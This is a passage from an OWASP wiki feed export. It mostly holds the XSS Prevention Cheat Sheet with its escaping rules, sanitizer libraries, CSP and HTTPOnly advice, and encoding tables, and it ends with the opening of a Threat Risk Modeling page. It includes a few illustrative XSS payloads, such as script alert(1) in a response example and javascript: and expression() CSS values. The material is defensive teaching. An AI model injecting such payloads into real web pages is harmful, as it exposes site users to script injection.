  &amp;gt; --&amp;gt; &amp;amp;amp;gt;&lt;br /&gt;
  &amp;quot; --&amp;gt; &amp;amp;amp;quot;&lt;br /&gt;
  ' --&amp;gt; &amp;amp;amp;#x27;     &amp;amp;amp;apos; not recommended because its not in the HTML spec (See: [http://www.w3.org/TR/html4/sgml/entities.html section 24.4.1]) &amp;amp;amp;apos; is in the XML and XHTML specs.&lt;br /&gt;
  / --&amp;gt; &amp;amp;amp;#x2F;     forward slash is included as it helps end an HTML entity&lt;br /&gt;
&lt;br /&gt;
== RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes ==&lt;br /&gt;
&lt;br /&gt;
Rule #2 is for putting untrusted data into typical attribute values like width, name, value, etc. This should not be used for complex attributes like href, src, style, or any of the event handlers like onmouseover.  It is extremely important that event handler attributes should follow Rule #3 for HTML JavaScript Data Values.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;div attr='''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''&amp;gt;content&amp;lt;/div&amp;gt;     inside UNquoted attribute&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;div attr=''''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...''''&amp;gt;content&amp;lt;/div&amp;gt;   inside single quoted attribute&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;div attr=&amp;quot;'''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''&amp;quot;&amp;gt;content&amp;lt;/div&amp;gt;   inside double quoted attribute&lt;br /&gt;
&lt;br /&gt;
Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the &amp;amp;amp;#xHH; format (or a named entity if available) to prevent switching out of the attribute. The reason this rule is so broad is that developers frequently leave attributes unquoted.  Properly quoted attributes can only be escaped with the corresponding quote. Unquoted attributes can be broken out of with many characters, including [space] % * + , - / ; &amp;lt; = &amp;gt; ^ and |.&lt;br /&gt;
&lt;br /&gt;
== RULE #3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values ==&lt;br /&gt;
&lt;br /&gt;
Rule #3 concerns dynamically generated JavaScript code - both script blocks and event-handler attributes. The only safe place to put untrusted data into this code is inside a quoted &amp;quot;data value.&amp;quot;  Including untrusted data inside any other JavaScript context is quite dangerous, as it is extremely easy to switch into an execution context with characters including (but not limited to) semi-colon, equals, space, plus, and many more, so use with caution.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;script&amp;gt;alert(''''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''')&amp;amp;lt;/script&amp;gt;     inside a quoted string&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;script&amp;gt;x=''''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...''''&amp;amp;lt;/script&amp;gt;          one side of a quoted expression&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;div onmouseover=&amp;quot;x=''''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...''''&amp;quot;&amp;amp;lt;/div&amp;gt;  inside quoted event handler&lt;br /&gt;
&lt;br /&gt;
Please note there are some JavaScript functions that can never safely use untrusted data as input - &amp;lt;b&amp;gt;EVEN IF JAVASCRIPT ESCAPED&amp;lt;/b&amp;gt;! &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
  &amp;amp;lt;script&amp;gt;&lt;br /&gt;
  window.setInterval(''''...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...'''');&lt;br /&gt;
  &amp;amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. DO NOT use any escaping shortcuts like \&amp;quot; because the quote character may be matched by the HTML attribute parser which runs first. These escaping shortcuts are also susceptible to &amp;quot;escape-the-escape&amp;quot; attacks where the attacker sends \&amp;quot; and the vulnerable code turns that into \\&amp;quot; which enables the quote.&lt;br /&gt;
&lt;br /&gt;
If an event handler is properly quoted, breaking out requires the corresponding quote. However, we have intentionally made this rule quite broad because event handler attributes are often left unquoted.  Unquoted attributes can be broken out of with many characters including [space] % * + , - / ; &amp;lt; = &amp;gt; ^ and |. Also, a &amp;lt;/script&amp;gt; closing tag will close a script block even though it is inside a quoted string because the HTML parser runs before the JavaScript parser.&lt;br /&gt;
&lt;br /&gt;
=== RULE #3.1 - HTML escape JSON values in an HTML context and read the data with JSON.parse ===&lt;br /&gt;
&lt;br /&gt;
In a Web 2.0 world, the need for having data dynamically generated by an application in a javascript context is common.  One strategy is to make an AJAX call to get the values, but this isn't always performant.  Often, an initial block of JSON is loaded into the page to act as a single place to store multiple values.  This data is tricky, though not impossible, to escape correctly without breaking the format and content of the values.&lt;br /&gt;
&lt;br /&gt;
'''Ensure returned ''Content-Type'' header is application/json and not text/html. &lt;br /&gt;
This shall instruct the browser not misunderstand the context and execute injected script'''&lt;br /&gt;
&lt;br /&gt;
'''Bad HTTP response:'''&lt;br /&gt;
&lt;br /&gt;
    HTTP/1.1 200&lt;br /&gt;
    Date: Wed, 06 Feb 2013 10:28:54 GMT&lt;br /&gt;
    Server: Microsoft-IIS/7.5....&lt;br /&gt;
    '''Content-Type: text/html; charset=utf-8''' &amp;lt;-- bad&lt;br /&gt;
    ....&lt;br /&gt;
    Content-Length: 373&lt;br /&gt;
    Keep-Alive: timeout=5, max=100&lt;br /&gt;
    Connection: Keep-Alive&lt;br /&gt;
    {&amp;quot;Message&amp;quot;:&amp;quot;No HTTP resource was found that matches the request URI 'dev.net.ie/api/pay/.html?HouseNumber=9&amp;amp;AddressLine&lt;br /&gt;
    =The+Gardens'''&amp;amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'''&amp;amp;AddressLine2=foxlodge+woods&amp;amp;TownName=Meath'.&amp;quot;,&amp;quot;MessageDetail&amp;quot;:&amp;quot;No type was found&lt;br /&gt;
    that matches the controller named 'pay'.&amp;quot;}   &amp;lt;-- this script will pop!!&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
'''Good HTTP response'''&lt;br /&gt;
&lt;br /&gt;
    HTTP/1.1 200&lt;br /&gt;
    Date: Wed, 06 Feb 2013 10:28:54 GMT&lt;br /&gt;
    Server: Microsoft-IIS/7.5....&lt;br /&gt;
    '''Content-Type: application/json; charset=utf-8''' &amp;lt;--good&lt;br /&gt;
    .....&lt;br /&gt;
    .....&lt;br /&gt;
&lt;br /&gt;
A common '''anti-pattern''' one would see:&lt;br /&gt;
&lt;br /&gt;
    &amp;amp;lt;script&amp;gt;&lt;br /&gt;
      var initData = &amp;lt;%= data.to_json %&amp;gt;; // '''Do NOT do this without encoding the data with one of the techniques listed below.'''&lt;br /&gt;
    &amp;amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== JSON entity encoding ====&lt;br /&gt;
&lt;br /&gt;
The rules for JSON encoding can be found in the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Output_Encoding_Rules_Summary Output Encoding Rules Summary]. Note, this will not allow you to use XSS protection provided by CSP 1.0.&lt;br /&gt;
&lt;br /&gt;
==== HTML entity encoding ====&lt;br /&gt;
&lt;br /&gt;
This technique has the advantage that html entity escaping is widely supported and helps separate data from server side code without crossing any context boundaries. Consider placing the JSON block on the page as a normal element and then parsing the innerHTML to get the contents.  The javascript that reads the span can live in an external file, thus making the implementation of CSP enforcement easier.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;div id=&amp;quot;init_data&amp;quot; style=&amp;quot;display: none&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;amp;lt;%= html_escape(data.to_json) %&amp;gt;&lt;br /&gt;
  &amp;amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  // external js file&lt;br /&gt;
  var dataElement = document.getElementById('init_data');&lt;br /&gt;
  // decode and parse the content of the div&lt;br /&gt;
  var initData = JSON.parse(dataElement.textContent);&lt;br /&gt;
&lt;br /&gt;
An alternative to escaping and unescaping JSON directly in JavaScript, is to normalize JSON server-side by converting '&amp;lt;' to '\u003c' before delivering it to the browser.&lt;br /&gt;
&lt;br /&gt;
== RULE #4 - CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values ==&lt;br /&gt;
&lt;br /&gt;
Rule #4 is for when you want to put untrusted data into a stylesheet or a style tag. CSS is surprisingly powerful, and can be used for numerous attacks. Therefore, it's important that you only use untrusted data in a property '''value''' and not into other places in style data. You should stay away from putting untrusted data into complex properties like url, behavior, and custom (-moz-binding). You should also not put untrusted data into IE’s expression property value which allows JavaScript.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;style&amp;gt;selector { property : '''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''; } &amp;amp;lt;/style&amp;gt;     property value&amp;lt;br/&amp;gt;&lt;br /&gt;
  &amp;amp;lt;style&amp;gt;selector { property : &amp;amp;quot;'''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''&amp;amp;quot;; } &amp;amp;lt;/style&amp;gt;   property value&amp;lt;br/&amp;gt;&lt;br /&gt;
  &amp;amp;lt;span style=&amp;amp;quot;property : '''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''&amp;amp;quot;&amp;gt;text&amp;amp;lt;/span&amp;gt;       property value&lt;br /&gt;
&lt;br /&gt;
Please note there are some CSS contexts that can never safely use untrusted data as input - &amp;lt;b&amp;gt;EVEN IF PROPERLY CSS ESCAPED&amp;lt;/b&amp;gt;! You will have to ensure that URLs only start with &amp;quot;http&amp;quot; not &amp;quot;javascript&amp;quot; and that properties never start with &amp;quot;expression&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
  { background-url : &amp;quot;javascript:alert(1)&amp;quot;; }  // and all other URLs&lt;br /&gt;
  { text-size: &amp;quot;expression(alert('XSS'))&amp;quot;; }   // only in IE&lt;br /&gt;
&lt;br /&gt;
Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the \HH escaping format. DO NOT use any escaping shortcuts like \&amp;quot; because the quote character may be matched by the HTML attribute parser which runs first. These escaping shortcuts are also susceptible to &amp;quot;escape-the-escape&amp;quot; attacks where the attacker sends \&amp;quot; and the vulnerable code turns that into \\&amp;quot; which enables the quote.&lt;br /&gt;
&lt;br /&gt;
If attribute is quoted, breaking out requires the corresponding quote.  All attributes should be quoted but your encoding should be strong enough to prevent XSS when untrusted data is placed in unquoted contexts. Unquoted attributes can be broken out of with many characters including [space] % * + , - / ; &amp;lt; = &amp;gt; ^ and |.  Also, the &amp;lt;/style&amp;gt; tag will close the style block even though it is inside a quoted string because the HTML parser runs before the JavaScript parser. Please note that we recommend aggressive CSS encoding and validation to prevent XSS attacks for both quoted and unquoted attributes.&lt;br /&gt;
&lt;br /&gt;
== RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values ==&lt;br /&gt;
&lt;br /&gt;
Rule #5 is for when you want to put untrusted data into HTTP GET parameter value. &lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;a href=&amp;quot;http&amp;amp;#x3a;&amp;amp;#x2f;&amp;amp;#x2f;www.somesite.com&amp;amp;#x3f;test&amp;amp;#x3d;'''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...&amp;quot;'''&amp;gt;link&amp;amp;lt;/a &amp;gt;       &lt;br /&gt;
&lt;br /&gt;
Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the %HH escaping format.  Including untrusted data in data: URLs should not be allowed as there is no good way to disable attacks with escaping to prevent switching out of the URL. All attributes should be quoted. Unquoted attributes can be broken out of with many characters including [space] % * + , - / ; &amp;lt; = &amp;gt; ^ and |. Note that entity encoding is useless in this context.&lt;br /&gt;
&lt;br /&gt;
WARNING: Do not encode complete or relative URL's with URL encoding! If untrusted input is meant to be placed into href, src or other URL-based attributes, it should be validated to make sure it does not point to an unexpected protocol, especially Javascript links. URL's should then be encoded based on the context of display like any other piece of data. For example, user driven URL's in HREF links should be attribute encoded. For example:&lt;br /&gt;
&lt;br /&gt;
  String userURL = request.getParameter( &amp;quot;userURL&amp;quot; )&lt;br /&gt;
  boolean isValidURL = Validator.IsValidURL(userURL, 255); &lt;br /&gt;
  if (isValidURL) {  &lt;br /&gt;
      &amp;lt;a href=&amp;quot;&amp;lt;%=encoder.encodeForHTMLAttribute(userURL)%&amp;gt;&amp;quot;&amp;gt;link&amp;lt;/a&amp;gt;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== RULE #6 - Sanitize HTML Markup with a Library Designed for the Job ==&lt;br /&gt;
&lt;br /&gt;
If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text.  There are several available at OWASP that are simple to use:&lt;br /&gt;
&lt;br /&gt;
'''HtmlSanitizer''' - https://github.com/mganss/HtmlSanitizer&lt;br /&gt;
&lt;br /&gt;
An open-source .Net library. The HTML is cleaned with a white list approach. All allowed tags and attributes can be configured. The library is unit tested with the OWASP [[XSS Filter Evasion Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
   var sanitizer = new HtmlSanitizer();&lt;br /&gt;
   sanitizer.AllowedAttributes.Add(&amp;quot;class&amp;quot;);&lt;br /&gt;
   var sanitized = sanitizer.Sanitize(html);&lt;br /&gt;
&lt;br /&gt;
'''OWASP Java HTML Sanitizer''' - [[OWASP Java HTML Sanitizer Project]]&lt;br /&gt;
&lt;br /&gt;
   import org.owasp.html.Sanitizers;&lt;br /&gt;
   import org.owasp.html.PolicyFactory;&lt;br /&gt;
   PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);&lt;br /&gt;
   String cleanResults = sanitizer.sanitize(&amp;quot;&amp;amp;lt;p&amp;amp;gt;Hello, &amp;amp;lt;b&amp;amp;gt;World!&amp;amp;lt;/b&amp;amp;gt;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
For more information on OWASP Java HTML Sanitizer policy construction, see https://github.com/OWASP/java-html-sanitizer&lt;br /&gt;
&lt;br /&gt;
'''Ruby on Rails SanitizeHelper''' - http://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html&lt;br /&gt;
&lt;br /&gt;
The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.&lt;br /&gt;
   &lt;br /&gt;
   &amp;amp;lt;%= sanitize @comment.body, tags: %w(strong em a), attributes: %w(href) %&amp;amp;gt;   &lt;br /&gt;
&lt;br /&gt;
'''Other libraries that provide HTML Sanitization include:'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PHP HTML Purifier - http://htmlpurifier.org/&amp;lt;br/&amp;gt;&lt;br /&gt;
JavaScript/Node.js Bleach - https://github.com/ecto/bleach&amp;lt;br/&amp;gt;&lt;br /&gt;
Python Bleach - https://pypi.python.org/pypi/bleach&lt;br /&gt;
&lt;br /&gt;
== RULE #7 - Prevent DOM-based XSS  ==&lt;br /&gt;
&lt;br /&gt;
For details on what DOM-based XSS is, and defenses against this type of XSS flaw, please see the OWASP article on [[DOM based XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Bonus Rule #1: Use HTTPOnly cookie flag ==&lt;br /&gt;
&lt;br /&gt;
Preventing all XSS flaws in an application is hard, as you can see. To help mitigate the impact of an XSS flaw on your site, OWASP also recommends you set the HTTPOnly flag on your session cookie and any custom cookies you have that are not accessed by any Javascript you wrote. This cookie flag is typically on by default in .NET apps, but in other languages you have to set it manually.  For more details on the HTTPOnly cookie flag, including what it does, and how to use it, see the OWASP article on [[HTTPOnly]].&lt;br /&gt;
&lt;br /&gt;
== Bonus Rule #2: Implement Content Security Policy ==&lt;br /&gt;
&lt;br /&gt;
There is another good complex solution to mitigate the impact of an XSS flaw called Content Security Policy. It's a browser side mechanism which &lt;br /&gt;
allows you to create source whitelists for client side resources of your web application, e.g. JavaScript, CSS, images, etc. CSP via special HTTP header instructs the browser to only execute or render resources from those sources. For example this CSP &lt;br /&gt;
&lt;br /&gt;
 Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld&lt;br /&gt;
&lt;br /&gt;
will instruct web browser to load all resources only from the page's origin and JavaScript source code files additionaly from static.domain.tld. For more details on Content Security Policy, including what it does, and how to use it, see the OWASP article on  [[Content_Security_Policy]]&lt;br /&gt;
&lt;br /&gt;
== Bonus Rule #3: Use an Auto-Escaping Template System ==&lt;br /&gt;
&lt;br /&gt;
Many web application frameworks provide automatic contextual escaping functionality such as [https://docs.angularjs.org/api/ng/service/$sce AngularJS strict contextual escaping] and [https://golang.org/pkg/html/template/ Go Templates]. Use these technologies when you can.&lt;br /&gt;
&lt;br /&gt;
== Bonus Rule #4: Use the X-XSS-Protection Response Header ==&lt;br /&gt;
&lt;br /&gt;
This HTTP response header enables the Cross-site scripting (XSS) filter built into some modern web browsers. This header is usually enabled by default anyway, so the role of this header is to re-enable the filter for this particular website if it was disabled by the user.&lt;br /&gt;
&lt;br /&gt;
= XSS Prevention Rules Summary =&lt;br /&gt;
&lt;br /&gt;
The following snippets of HTML demonstrate how to safely render untrusted data in a variety of different contexts. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable nowraplinks&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Data Type&lt;br /&gt;
! Context&lt;br /&gt;
! Code Sample&lt;br /&gt;
! Defense&lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| HTML Body&lt;br /&gt;
| &amp;amp;lt;span&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED DATA&amp;lt;/span&amp;gt;&amp;amp;lt;/span&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;[https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_Inserting_Untrusted_Data_into_HTML_Element_Content HTML Entity Encoding]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| Safe HTML Attributes&lt;br /&gt;
| &amp;amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED DATA&amp;lt;/span&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;[https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.232_-_Attribute_Escape_Before_Inserting_Untrusted_Data_into_HTML_Common_Attributes Aggressive HTML Entity Encoding]&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Only place untrusted data into a whitelist of safe attributes (listed below).&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Strictly validate unsafe attributes such as background, id and name.&amp;lt;/ul&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| GET Parameter&lt;br /&gt;
| &amp;amp;lt;a href=&amp;quot;/site/search?value=&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED DATA&amp;lt;/span&amp;gt;&amp;quot;&amp;gt;clickme&amp;amp;lt;/a&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;[https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.235_-_URL_Escape_Before_Inserting_Untrusted_Data_into_HTML_URL_Parameter_Values URL Encoding]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| Untrusted URL in a SRC or HREF attribute&lt;br /&gt;
| &amp;amp;lt;a href=&amp;quot;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED URL&amp;lt;/span&amp;gt;&amp;quot;&amp;gt;clickme&amp;amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;&amp;amp;lt;iframe src=&amp;quot;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED URL&amp;lt;/span&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Canonicalize input&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;URL Validation&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Safe URL verification&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Whitelist http and https URL's only ([[Avoid the JavaScript Protocol to Open a new Window]])&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Attribute encoder&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| CSS Value&lt;br /&gt;
| &amp;amp;lt;div style=&amp;quot;width: &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED DATA&amp;lt;/span&amp;gt;;&amp;quot;&amp;gt;Selection&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;[https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.234_-_CSS_Escape_And_Strictly_Validate_Before_Inserting_Untrusted_Data_into_HTML_Style_Property_Values Strict structural validation]&amp;lt;li&amp;gt;CSS Hex encoding&amp;lt;li&amp;gt;Good design of CSS Features&amp;lt;/ul&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| JavaScript Variable&lt;br /&gt;
| &amp;amp;lt;script&amp;gt;var currentValue='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED DATA&amp;lt;/span&amp;gt;';&amp;amp;lt;/script&amp;gt;&amp;lt;br/&amp;gt;&amp;amp;lt;script&amp;gt;someFunction('&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED DATA&amp;lt;/span&amp;gt;');&amp;amp;lt;/script&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Ensure JavaScript variables are quoted&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;JavaScript Hex Encoding&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;JavaScript Unicode Encoding&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Avoid backslash encoding (\&amp;quot; or \' or \\)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| HTML&lt;br /&gt;
| HTML Body&lt;br /&gt;
| &amp;amp;lt;div&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;UNTRUSTED HTML&amp;lt;/span&amp;gt;&amp;amp;lt;/div&amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;[https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.236_-_Use_an_HTML_Policy_engine_to_validate_or_clean_user-driven_HTML_in_an_outbound_way HTML Validation (JSoup, AntiSamy, HTML Sanitizer)]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| String&lt;br /&gt;
| DOM XSS&lt;br /&gt;
| &amp;amp;lt;script&amp;gt;document.write(&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&amp;quot;UNTRUSTED INPUT: &amp;quot; + document.location.hash&amp;lt;/span&amp;gt;);&amp;amp;lt;script/&amp;amp;gt;&lt;br /&gt;
| &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;[[DOM based XSS Prevention Cheat Sheet]]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''''Safe HTML Attributes include:''''' align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width&lt;br /&gt;
&lt;br /&gt;
= Output Encoding Rules Summary =&lt;br /&gt;
&lt;br /&gt;
The purpose of output encoding (as it relates to Cross Site Scripting) is to convert untrusted input into a safe form where the input is displayed as '''data''' to the user without executing as '''code''' in the browser. The following charts details a list of critical output encoding methods needed to stop Cross Site Scripting.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Encoding Type&lt;br /&gt;
! Encoding Mechanism&lt;br /&gt;
|-&lt;br /&gt;
| HTML Entity Encoding&lt;br /&gt;
|   Convert &amp;amp; to &amp;amp;amp;amp;&amp;lt;br/&amp;gt;Convert &amp;lt; to &amp;amp;amp;lt;&amp;lt;br/&amp;gt;Convert &amp;gt; to &amp;amp;amp;gt;&amp;lt;br/&amp;gt;Convert &amp;quot; to &amp;amp;amp;quot;&amp;lt;br/&amp;gt;Convert ' to &amp;amp;amp;#x27;&amp;lt;br/&amp;gt;Convert / to &amp;amp;amp;#x2F;&lt;br /&gt;
|-&lt;br /&gt;
| HTML Attribute Encoding&lt;br /&gt;
| Except for alphanumeric characters, escape all characters with the HTML Entity &amp;amp;amp;#xHH; format, including spaces. (HH = Hex Value)&lt;br /&gt;
|-&lt;br /&gt;
| URL Encoding&lt;br /&gt;
| Standard percent encoding, see: [http://www.w3schools.com/tags/ref_urlencode.asp http://www.w3schools.com/tags/ref_urlencode.asp]. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.&lt;br /&gt;
|-&lt;br /&gt;
| JavaScript Encoding&lt;br /&gt;
| Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer).&lt;br /&gt;
|-&lt;br /&gt;
| CSS Hex Encoding&lt;br /&gt;
| CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''XSS Attack Cheat Sheet'''&lt;br /&gt;
&lt;br /&gt;
The following article describes how to exploit different kinds of XSS Vulnerabilities that this article was created to help you avoid:&lt;br /&gt;
&lt;br /&gt;
* OWASP: [[XSS Filter Evasion Cheat Sheet]] - Based on - RSnake's: &amp;quot;XSS Cheat Sheet&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''A Systematic Analysis of XSS Sanitization in Web Application Frameworks'''&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.berkeley.edu/~prateeks/papers/empirical-webfwks.pdf http://www.cs.berkeley.edu/~prateeks/papers/empirical-webfwks.pdf]&lt;br /&gt;
&lt;br /&gt;
'''Description of XSS Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* OWASP article on [[XSS]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''Discussion on the Types of XSS Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[Types of Cross-Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for Cross-site scripting Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Test for Cross-site scripting  Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on [[Testing for Cross site scripting]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
* [[XSS Experimental Minimal Encoding Rules]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jeff Williams - jeff.williams[at]contrastsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Neil Mattatall - neil[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Threat_Risk_Modeling&amp;diff=231638</id>
		<title>Threat Risk Modeling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Threat_Risk_Modeling&amp;diff=231638"/>
				<updated>2017-07-13T10:20:05Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Remove comment, update standards example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&lt;br /&gt;
When you start a web application design, it is essential to apply threat modeling; otherwise you will squander resources, time, and money on useless controls that fail to focus on the real threats.  There are multiple approaches to threat modeling, as listed below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt; Software centric threat modeling&lt;br /&gt;
&amp;lt;li&amp;gt; Security centric threat modeling&lt;br /&gt;
